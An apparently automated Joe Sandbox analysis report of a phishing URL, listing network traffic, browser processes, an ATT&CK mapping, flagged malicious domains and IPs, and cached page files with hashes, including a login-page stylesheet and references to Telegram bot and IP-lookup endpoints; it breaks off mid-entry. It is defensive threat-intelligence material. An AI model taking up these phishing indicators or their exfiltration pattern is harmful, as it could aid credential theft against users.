Source: unknown	Network traffic detected: HTTP traffic on port 64372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64379 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64376
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64377
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64379
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64373 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64376 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64372
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64374
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64373
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6016_488095920

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6016_488095920

Jump to behavior

Source: classification engine

Classification label: mal68.phis.troj.win@24/48@40/13

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1852,i,4191389869760221839,8279947246922963098,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2020 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://nettl.ntfs2.shop/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1852,i,4191389869760221839,8279947246922963098,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2020 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://nettl.ntfs2.shop/	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://oka.greenthreads.hr/_next/static/chunks/framework-2c79e2a64abdb08b.js	0%	Avira URL Cloud	safe
https://nr.moralemadefiles.top/	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/background.jpg	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/chunks/pages/index-d6318c8b55988a60.js	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/chunks/186-e401717d9e8b842b.js	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/chunks/main-de1ad41d606513c1.js	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/CCVo9BeANpO6WTAXJAXiq/_buildManifest.js	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/chunks/webpack-ee7e63bc15b31913.js	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/CCVo9BeANpO6WTAXJAXiq/_ssgManifest.js	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/favicon.ico	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/chunks/pages/_app-aea6920bd27938ca.js	0%	Avira URL Cloud	safe
https://oka.greenthreads.hr/_next/static/css/19d09a6113afa007.css	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
d26p066pn2w0s0.cloudfront.net	13.32.27.77	true	false	unknown
nettl.ntfs2.shop	104.21.19.207	true	true	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
patnero.thesilent.de	216.24.57.1	true	false	high
classntfst.shop	172.67.154.53	true	false	unknown
trestle.proxy.rlwy.net	35.214.184.4	true	false	high
www.gravatar.com	192.0.73.2	true	false	high
oka.greenthreads.hr	76.76.21.21	true	true	unknown
www.google.com	142.250.185.132	true	false	high
api.telegram.org	149.154.167.220	true	false	high
api64.ipify.org	104.237.62.213	true	false	high
rail-bot-production.up.railway.app	unknown	unknown	false	high
logo.clearbit.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://oka.greenthreads.hr/background.jpg	true	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=%2BKDMb6wTkMb6UZhGPSQoLzDC6CxCGSmAY8UJyL2e%2BQ3aBU%2FpvTiBdA4cuxFTEXC5%2FNLnHcZMmGp56qUGZhvcjn5BsNInKOk5D4RzH48tXWJAu4bLNJWL9iCmiNiM96Pk82Qa	false		high
https://oka.greenthreads.hr/_next/static/chunks/framework-2c79e2a64abdb08b.js	true	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/	true		unknown
https://www.gravatar.com/avatar/61788a5113873331bc5e22d2b622f298?d=identicon	false		high
https://a.nel.cloudflare.com/report/v4?s=SunFNVLve0UQg5iU547W1VbZVPE9gkL7lhOJUP0uQj1lwMfIG23%2BJ4MBuNk6bIGgJJI7gWFyWSW3iS6iT9ICBXflhYhZGT48vkjFAE5TjH8%2FRL5lH5QmiV1z%2F%2BiXfqBKk0Jf	false		high
https://oka.greenthreads.hr/_next/static/chunks/main-de1ad41d606513c1.js	true	Avira URL Cloud: safe	unknown
https://nettl.ntfs2.shop/	true		unknown
https://oka.greenthreads.hr/_next/static/chunks/pages/index-d6318c8b55988a60.js	true	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/_next/static/chunks/webpack-ee7e63bc15b31913.js	true	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/_next/static/chunks/186-e401717d9e8b842b.js	true	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/_next/static/CCVo9BeANpO6WTAXJAXiq/_ssgManifest.js	true	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/_next/static/CCVo9BeANpO6WTAXJAXiq/_buildManifest.js	true	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/favicon.ico	true	Avira URL Cloud: safe	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE	false		high
https://oka.greenthreads.hr/_next/static/chunks/pages/_app-aea6920bd27938ca.js	true	Avira URL Cloud: safe	unknown
https://oka.greenthreads.hr/_next/static/css/19d09a6113afa007.css	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot	chromecache_80.1.dr	false		high
https://nr.moralemadefiles.top/	chromecache_80.1.dr	false	Avira URL Cloud: safe	unknown
https://api64.ipify.org?format=json	chromecache_80.1.dr	false		high
https://rail-bot-production.up.railway.app/api/detect_bot	chromecache_80.1.dr	false		high
https://feross.org	chromecache_69.1.dr	false		high
https://vercel.live/_next-live/feedback/feedback.js	chromecache_85.1.dr	false		high
https://www.gravatar.com/avatar/	chromecache_80.1.dr	false		high
https://logo.clearbit.com/	chromecache_80.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.32.27.77	d26p066pn2w0s0.cloudfront.net	United States	7018	ATT-INTERNET4US	false
216.24.57.1	patnero.thesilent.de	United States	397273	RENDERUS	false
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
172.67.154.53	classntfst.shop	United States	13335	CLOUDFLARENETUS	false
192.0.73.2	www.gravatar.com	United States	2635	AUTOMATTICUS	false
104.237.62.213	api64.ipify.org	United States	18450	WEBNXUS	false
172.67.190.49	unknown	United States	13335	CLOUDFLARENETUS	false
35.214.184.4	trestle.proxy.rlwy.net	United States	19527	GOOGLE-2US	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
173.231.16.77	unknown	United States	18450	WEBNXUS	false
76.76.21.21	oka.greenthreads.hr	United States	16509	AMAZON-02US	true
104.21.19.207	nettl.ntfs2.shop	United States	13335	CLOUDFLARENETUS	true

Private

IP
192.168.2.9

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1637503
Start date and time:	2025-03-13 17:01:16 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://nettl.ntfs2.shop/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.phis.troj.win@24/48@40/13

Warnings

Exclude process from analysis (whitelisted): sppsvc.exe, SIHClient.exe, SgrmBroker.exe, TextInputHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.163, 216.58.212.174, 142.250.186.46, 74.125.206.84, 216.58.206.46, 142.250.185.174, 142.250.186.110, 142.250.186.142, 217.20.57.20, 142.250.185.78, 142.250.186.78, 172.217.18.14, 172.217.18.10, 142.250.186.138, 142.250.186.74, 142.250.185.106, 142.250.184.234, 216.58.206.42, 172.217.23.106, 216.58.212.138, 142.250.185.138, 142.250.185.74, 142.250.185.202, 142.250.186.170, 216.58.206.74, 142.250.184.202, 142.250.185.170, 172.217.16.138, 172.217.16.206, 142.250.185.99, 142.250.185.110, 142.250.184.206, 142.250.186.35, 142.250.65.206, 74.125.7.136, 142.250.185.142, 4.175.87.197, 23.199.214.10
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, r3---sn-hp57yns7.gvt1.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, r3.sn-hp57yns7.gvt1.com, update.googleapis.com, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://nettl.ntfs2.shop/

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1515), with no line terminators
Category:	dropped
Size (bytes):	1515
Entropy (8bit):	5.288161100448261
Encrypted:	false
SSDEEP:	24:NQiVY49x35poVuJbn81ekVXVYFf+8HWvKhbNCemICebO/Vlc5Mz8Dj2pLerSvJKJ:6OY+bvo1HXVufFAoNdCebONw4OKMeMJ
MD5:	358DF2F88C6CB7B259F7DFA5095500D5
SHA1:	61141300014610F6DF77001775A2B8685B2985A0
SHA-256:	6714626B550B8D9D9FBF11B56DC2CDFF65466D4E2BF4293FF5B92952B232393D
SHA-512:	D45645CD0F4CEC02A7768C24A10D0D687F0A9A07875E203B51CCDBAF45DCB352D7C7DDFA626A57A5A8D097BF567D46FEC5D96744BC35CE47682C1E39D42F52AC
Malicious:	false
Reputation:	low
Preview:	.Index_loginContainer__5jP50{text-align:center;height:100vh;display:flex;justify-content:center;align-items:center;background:url(/background.jpg) no-repeat 50% fixed;background-size:cover;color:#333}.Index_loginBox__TjgDC{background:hsla(0,0%,100%,.9);border-radius:10px;padding:20px;width:300px;box-shadow:0 4px 6px rgba(0,0,0,.1);outline:2px solid #000}.Index_logo___RQb3{width:64px;height:64px;margin:0 auto 20px}.Index_instruction__zKWvQ{font-family:Arial,sans-serif;font-size:16px;color:#555;margin-bottom:20px}.Index_modal__Vdljb{position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.5);display:flex;justify-content:center;align-items:center;z-index:1000}.Index_modalContent__dAUWU{background:#fff;padding:20px 30px;border-radius:10px;text-align:center;font-size:18px;font-weight:700}.Index_dots__9eVYy{display:inline-block;animation:Index_dots__9eVYy 1.2s steps(4) infinite}@keyframes Index_dots__9eVYy{0%{content:""}25%{content:"."}50%{content:".."}75%{content:"..."}}.Index_en

Chrome Cache Entry: 60

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.625
Encrypted:	false
SSDEEP:	3:HfTORnYn:qRnY
MD5:	9B5719B531993D7EEF5EB4C692F2238C
SHA1:	9C9A21624C975F0741B743348DE85A09FDA7E669
SHA-256:	27008C4818CC0695B1496B0E8026DDFB7999C7FA066F78C61A76AF0FFECEF4BF
SHA-512:	39CC9DC2E4DACFA6D1D7E23759ED7FB13C3111992BCA5DAA97CE1ADB37205056118FC1105D85E38B8E902A2F8CD68656AD36D53642DE60368E054BE86942BBA8
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIZCcH8_Te5HSm9EgUNUAuvsCFR37WRZCcYAw==?alt=proto
Preview:	CgkKBw1QC6+wGgA=

Chrome Cache Entry: 61

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=1, orientation=upper-left], baseline, precision 8, 1920x1034, components 3
Category:	downloaded
Size (bytes):	114870
Entropy (8bit):	7.375425337971249
Encrypted:	false
SSDEEP:	1536:UYVEImav9k/V8WQoVJhaqY/uM3yKhWCOXDSiY0K6b3v2rqgRvsYq:lrFsx/Oz3DOTJY0Nb3veqgRvsYq
MD5:	45068F0ED4F904B59752FCAA6D8D3E7E
SHA1:	49DC43B0FEB73AF09EE872C262CB45591D77A215
SHA-256:	B16B43D0FA5E1715210552162B5059F379A69079C44E2A15690F27508AAADE9E
SHA-512:	C6151A108DB6A654452D8B77AB8604B6977F5710C38F8EB7968C6F3110B1D4B732D0334BA8A12084A6F121354458D4AE5E94F14C390A4239570780B1175E7D0C
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/background.jpg
Preview:	......JFIF.....x.x....."Exif..MM..........................C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....4..>..........<....n.T_............^./..o....u........y............ ......v><.{y./.k.h....$N.-......W.....w..wiF..9.m..c......w...%..!_..K+.k<..J.+3:.........Vj....5y>e...?.7........>....#..}...YI.r..:....>Y-.w.w.....I.!....o...w.e..6\D..K,..<...Wy6...........1.D..n!.;..v....Gs...o.......c..\3G.F.\6.......q.6..F......H

Chrome Cache Entry: 62

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	77
Entropy (8bit):	4.37144473219773
Encrypted:	false
SSDEEP:	3:k0WYL12AvZ/W6QfpX/W6Qee:UYR2AvZO6EpXO6I
MD5:	B6652DF95DB52FEB4DAF4ECA35380933
SHA1:	65451D110137761B318C82D9071C042DB80C4036
SHA-256:	6F5B4AA00D2F8D6AED9935B471806BF7ACEF464D0C1D390260E5FE27F800C67E
SHA-512:	3390C5663EF9081885DF8CDBC719F6C2F1597A4E25168529598097E9472608A4A62EC7F7E0BC400D22AAC81BF6EA926532886E4DC6E4E272D3B588490A090473
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/CCVo9BeANpO6WTAXJAXiq/_ssgManifest.js
Preview:	self.__SSG_MANIFEST=new Set,self.__SSG_MANIFEST_CB&&self.__SSG_MANIFEST_CB();

Chrome Cache Entry: 63

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	819
Entropy (8bit):	7.451551279226306
Encrypted:	false
SSDEEP:	24:C/6f+Xel9sovQxFX0+gWYHBBoamGa9Kttt:C/6f+uluW6h0+UHBgGa9KJ
MD5:	4B5FEBB3FB4517A225620B5FE05016D2
SHA1:	02F3621A49871422123E5D560CFFDE14F6C719D5
SHA-256:	FA2E9317D000C52911C303166AB105CB0BC76D06783F5C069E8388556CA544E3
SHA-512:	80C0909A2F8CF64C97EE888CF7A039C6E22B6FCB02666277E3A6087ABE258763F69C7CC1B65BACDAE5AC5FF3C7C1015E297E3ADE494B81E86AE0C20A0F36A787
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/favicon.ico
Preview:	.PNG........IHDR...`...`......w8....pHYs.................IDATx..1..A....A.,...b.......r..;.lm.....;K.B,m--l,.D.R$!..U.j#+...w...dgg...I....7K............1.>7..{.'.T.^jEw....].-...ue...8..........9&#..LO...a7........\..]q...MG Kz=.MG Kz..$.u].er.^...@b^.W@.^.....5....u.s.]z].}Wg..'........0..G.....+.......`.^......iw6.nM...g...X.......7...RI[.@$....t.d..B.Q...X.. X.......}....@.X.PP\..L.......@x..................."((.(.....DPP.P....(..... ((.P.AA!@APP\. ..B.....@A.....AAq...................._\|..Vt..-...@..-1..B)..y.CE;.[....ZD.....RQLy..}7.$..3..hn..N8_3#L...#..?...}.R36.Mbhn..YY...0}.j..^.W......S].......f.7?.ba..j."..R[......`%...^mE......n...}.y...:;..7...0=..........(.N......i...gU.&g....P.c..c..5.rK..G.....y.._........V..ke....]........0.......+......IEND.B`.

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=1, orientation=upper-left], baseline, precision 8, 1920x1034, components 3
Category:	dropped
Size (bytes):	114870
Entropy (8bit):	7.375425337971249
Encrypted:	false
SSDEEP:	1536:UYVEImav9k/V8WQoVJhaqY/uM3yKhWCOXDSiY0K6b3v2rqgRvsYq:lrFsx/Oz3DOTJY0Nb3veqgRvsYq
MD5:	45068F0ED4F904B59752FCAA6D8D3E7E
SHA1:	49DC43B0FEB73AF09EE872C262CB45591D77A215
SHA-256:	B16B43D0FA5E1715210552162B5059F379A69079C44E2A15690F27508AAADE9E
SHA-512:	C6151A108DB6A654452D8B77AB8604B6977F5710C38F8EB7968C6F3110B1D4B732D0334BA8A12084A6F121354458D4AE5E94F14C390A4239570780B1175E7D0C
Malicious:	false
Reputation:	low
Preview:	......JFIF.....x.x....."Exif..MM..........................C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....4..>..........<....n.T_............^./..o....u........y............ ......v><.{y./.k.h....$N.-......W.....w..wiF..9.m..c......w...%..!_..K+.k<..J.+3:.........Vj....5y>e...?.7........>....#..}...YI.r..:....>Y-.w.w.....I.!....o...w.e..6\D..K,..<...Wy6...........1.D..n!.;..v....Gs...o.......c..\3G.F.\6.......q.6..F......H

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (427), with no line terminators
Category:	downloaded
Size (bytes):	427
Entropy (8bit):	5.4313643376516705
Encrypted:	false
SSDEEP:	6:ZdYeLGmOYHKkCwv3BnPGwcCo7Ap4Mq2gGr0s/Xwpo8D+YATtd6EpXjd6I:ZaiGmFMKPzafpE0CR9tJFXjV
MD5:	A92A1C5E3C1ED80F4D4BF04B357A22E4
SHA1:	E42913BC1AEA706BFA72D27B096C716850B18DD4
SHA-256:	3917A789E64A70B4E863DB34BBC222ECA5205B13497C5086A1E0D29B39C3A4C7
SHA-512:	5CA89EC2753A91DCAF503353DD69C2D0B9A216F35831EBDE08F1170B5D388CF5533EE19C816643DE77EB9E38F38C0C256FDAEFCC5AFDA27FEB8B29913E3A01F3
Malicious:	false
Reputation:	low
URL:	https://oka.greenthreads.hr/_next/static/CCVo9BeANpO6WTAXJAXiq/_buildManifest.js
Preview:	self.__BUILD_MANIFEST={__rewrites:{beforeFiles:[],afterFiles:[],fallback:[]},"/":["static/chunks/186-e401717d9e8b842b.js","static/css/19d09a6113afa007.css","static/chunks/pages/index-d6318c8b55988a60.js"],"/_error":["static/chunks/pages/_error-3986dd5834f581dc.js"],"/denied":["static/chunks/pages/denied-186b4c64a621e6fa.js"],sortedPages:["/","/_app","/_error","/denied"]},self.__BUILD_MANIFEST_CB&&self.__BUILD_MANIFEST_CB();

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65202)
Category:	downloaded
Size (bytes):	141052
Entropy (8bit):	5.268092028848304
Encrypted:	false
SSDEEP:	1536:2YjvmNg6kMudjY+o3F36qmk1S/qcnde//ZQg:Dj7UN6qT1S5cXmg
MD5:	7FC4BED6B4319C62343F0BF5DB91A5BB
SHA1:	6E283C4EA2B12DA64476AF280236A8C5D85DBBBC
